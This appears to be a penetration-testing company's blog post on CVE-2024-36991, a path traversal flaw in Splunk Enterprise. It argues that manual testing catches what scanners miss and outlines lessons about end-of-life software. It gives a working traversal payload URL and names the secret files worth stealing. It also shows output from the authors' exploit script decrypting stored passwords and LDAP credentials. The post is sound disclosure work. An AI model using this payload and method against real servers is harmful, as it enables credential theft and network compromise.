Why Pentesting Still Matters: Exploiting CVE-2024-36991 in Splunk Enterprise

During one of our recent penetration tests, we discovered a critical vulnerability in Splunk Enterprise that automated security scanners like Nessus missed. This article underscores why manual penetration testing remains essential, even when automated tools are widely used in security assessments. By sharing this experience, we hope to highlight how manual testing can uncover vulnerabilities that scanners often overlook.

Understanding CVE-2024-36991

CVE-2024-36991 affects multiple versions of Splunk Enterprise, including versions prior to 9.2.2, 9.1.5, and 9.0.10. The vulnerability is a path traversal flaw in the /modules/messaging/ endpoint, specifically on Windows systems. Exploiting this flaw allows attackers to access arbitrary files on the system.

Key Details:

• Affected Versions:
  • Splunk Enterprise 9.0.0 to 9.0.9
  • Splunk Enterprise 9.1.0 to 9.1.4
  • Splunk Enterprise 9.2.0 to 9.2.1
• Root Cause: A flaw in Python’s os.path.join function causes the drive letter to be stripped if it matches the current working directory’s drive, facilitating path traversal.
• Impact: Attackers can read sensitive files outside of the intended directory.
• CVSS Score: 7.5 (High)

Why Automated Scanners Missed It

Automated scanners like Nessus rely on certain stimuli and responses to identify the vendor, product and version exposed in each port and on vendor-provided vulnerability data to determine which versions are affected. While these tools are invaluable for recurrent checks and quick assessments, they have limitations that can result in false negatives or missed vulnerabilities.

One of the main reasons for misidentifying the version as non-vulnerable in the case at hand is that security support for Splunk Enterprise version 7.3.9 ended on October 22, 2021—over five years ago. When a product version reaches its end-of-life no further vulnerabilities are identified for it and not patches are provided for it, leaving them exposed to unpatched vulnerabilities.

Additionally, security support for the last version of Splunk Enterprise 8 (version 8.2.12) ended on May 12, 2023, further highlighting the risks of using EOL software.

Since many automated scanners primarily focus on supported versions and vendor-disclosed vulnerabilities, they may overlook EOL software—even when it remains at risk.

In our case, Nessus flagged only certain Splunk versions as vulnerable. Yet, through manual testing, we discovered that Splunk Enterprise 7.3.4, which was not listed as affected, was also vulnerable. This suggests that Splunk’s vulnerability disclosures were incomplete or inaccurate, causing security tools like Nessus to overlook at-risk installations. Had I relied solely on automated scanning, I would have missed this critical discovery.

All versions of Splunk Enterprise 7, from 7.2.4 to the last version 7.3.9, were vulnerable. Additionally, Splunk Enterprise versions 8.0.0 to 8.2.12 are also known to be affected.

This highlights the risks of relying solely on automated scanners. for vulnerability identification during the course of a penetration test. Because these tools depend on vendor disclosures, they may fail to detect vulnerabilities in software that is no longer receiving security updates.

This underscores a fundamental truth in cybersecurity: automated scanners can only detect what they are programmed to find. This is why frameworks like PCI DSS and NIST rely on automated scanners for routine checks but still require manual penetration testing for deeper analysis. While automated tools excel at identifying known risks, human intuition and in-depth analysis are essential for uncovering vulnerabilities that may not be included in a scanner's database—especially in EOL software.

Comparison of Scanner Coverage for CVE-2024-36991 (As of Feb 20, 2025)

By combining automated scanning with manual penetration testing, organizations can ensure a comprehensive security posture, uncovering risks that might otherwise go unnoticed and maintaining both compliance and resilience against emerging threats.

Exploiting CVE-2024-36991

Path Traversal Exploitation

This vulnerability can be exploited by crafting a request with a malicious URL path targeting the /modules/messaging/ endpoint. The attack relies on manipulating the os.path.join function, which removes the drive letter if it matches the current directory. This allows the attacker to bypass directory restrictions and access files that should be out of reach.

Example payload:

/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd

This payload uses path traversal (../) to reach the /etc/passwd file, commonly targeted by attackers seeking sensitive user data. The flaw in the path handling enables this attack to bypass restrictions and read files from any directory.

Targeting More Valuable Files

During our initial research, most discussions and proof-of-concept exploits on GitHub focused on targeting $SPLUNK_HOME/etc/passwd. While this file is a common target, cracking it takes considerable time and only grants access to the Splunk system. We discovered more critical files within the Splunk directory structure that could provide much broader access:

• $SPLUNK_HOME/etc/auth/splunk.secret – Contains an encryption key for sensitive data.
• $SPLUNK_HOME/etc/system/local/authentication.conf – Stores LDAP credentials and authentication settings.

These files, particularly authentication.conf, can reveal LDAP credentials, which could lead to system access or even domain compromise if administrators use overly privileged accounts. By extracting splunk.secret and decrypting authentication.conf, we obtained LDAP administrator credentials, granting full access to the LDAP directory and potentially other systems relying on these credentials. Unlike cracking the Splunk password hash, gaining access to LDAP credentials could compromise the entire system or even the domain it supports - depending on tis configuration.

Expanding on Splunk’s Encryption & splunk.secret

Splunk uses splunk.secret as a key to encrypt sensitive configuration files, including passwords, API keys, and other authentication secrets. The encryption mechanism varies based on Splunk’s version:

• Pre-Splunk 7.2: RC4 encryption with a static salt (DEFAULTSA).
• 7.2 and Later: AES-256-GCM with PBKDF2-derived keys. However, if upgraded from an older version, some components may still use RC4.

Why splunk.secret Matters

The splunk.secret file is essential because it acts as a decryption key for other encrypted configuration files, such as:

• server.conf → Contains SSL/TLS private key passwords for securing Splunk communications.
• authentication.conf → Stores LDAP bind credentials, which can allow an attacker to take over user authentication.
• inputs.conf & outputs.conf → If Splunk is integrated with third-party logging solutions, these files may contain API tokens or cloud credentials.

Writing an Exploit Script

In our test environment running Splunk Enterprise 7.3.4, RC4 encryption was still in use, likely because the instance had been upgraded from an older version. To automate the process of extracting and decrypting sensitive data, we wrote a Python script (CVE-2024-36991.py) that:

1. Identifies vulnerable Splunk servers
2. Extracts splunk.secret
3. Decrypts key configuration files automatically

Example output:

% python3 CVE-2024-36991.py -u https://x.x.x.x:8000
[+] Checking if target is a Splunk server...
[+] Target is a Splunk server.
[+] Target is running on Splunk Enterprise 7.3.4
[+] Attempting to retrieve splunk.secret...
[+] splunk.secret retrieved successfully.
[+] Attempting to retrieve hash values...

[+] server.conf:
sslKeysfilePassword: $1$Qw[...snip...] -> Decrypted: changeme
sslPassword: $1$Qw[...snip...] -> Decrypted: changeme
pass4SymmKey: $1$Qw[...snip...] -> Decrypted: changeme

[+] authentication.conf:
authType: LDAP
bindDN: Splunk
bindDNpassword: $1$[...snip...] -> Decrypted: [...snip...]

Below is the output when the target uses local authentication instead of LDAP:

% python3 CVE-2024-36991.py -u http://192.168.31.117:8000
[+] Checking if target is a Splunk server...
[+] Target is a Splunk server.
[+] Target is running on Splunk Enterprise 7.3.4
[+] Attempting to retrieve splunk.secret...
[+] splunk.secret retrieved successfully.
[+] Attempting to retrieve hash values...

[+] server.conf:
sslKeysfilePassword: Not found
sslPassword: $7$OYrdFSIokdFgpBLPFWb1WrJ2ZplMWDbXk/TS7FhyN3s7dJ7UoOBOzg== -> 
Decrypted: password
pass4SymmKey: $7$Hg+2WSQPxEKlWBlIVtopjAA5ALd/65+AA7Ca8ChlOYN83DYPDkSZ+Q== -> 
Decrypted: changeme

[+] authentication.conf:
authType: Not found
bindDN: Not found
bindDNpassword: Not found

This script made it easy to retrieve and decrypt sensitive credentials, such as LDAP bind credentials (if LDAP authentication is used), allowing us to escalate privileges and gain access to further systems.

Lessons Learned

• Manual Pentesting vs. Automated Scanning: While automated scanners are useful, they often miss vulnerabilities, especially when they rely solely on version numbers. Manual testing revealed vulnerabilities that automated tools overlooked.
• Looking Beyond Common Targets: Attackers don’t always go for /etc/passwd. In this case, focusing on splunk.secret provided a more effective privilege escalation path.
• The Risk of Using EOL Software: It is crucial to avoid running end-of-life (EOL) software on a network. Once a product reaches EOL, it no longer receives security patches, leaving newly discovered vulnerabilities unpatched and increasing the risk of compromise.

Conclusion

This pentest reinforced the need for manual testing in identifying security flaws that automated tools might miss. Automated vulnerability scanners are useful but not foolproof. If you're testing Splunk or similar systems, don’t rely solely on known CVEs—dig deeper and explore overlooked security gaps. Additionally, maintaining up-to-date software is crucial, as relying on unsupported, EOL systems significantly increases the risk of exploitation.

References

• Splunk Advisory SVD-2024-0711
• https://endoflife.date/splunk
• https://gist.github.com/milo2012/4edf7c4257da4368113a5ccfee048f1f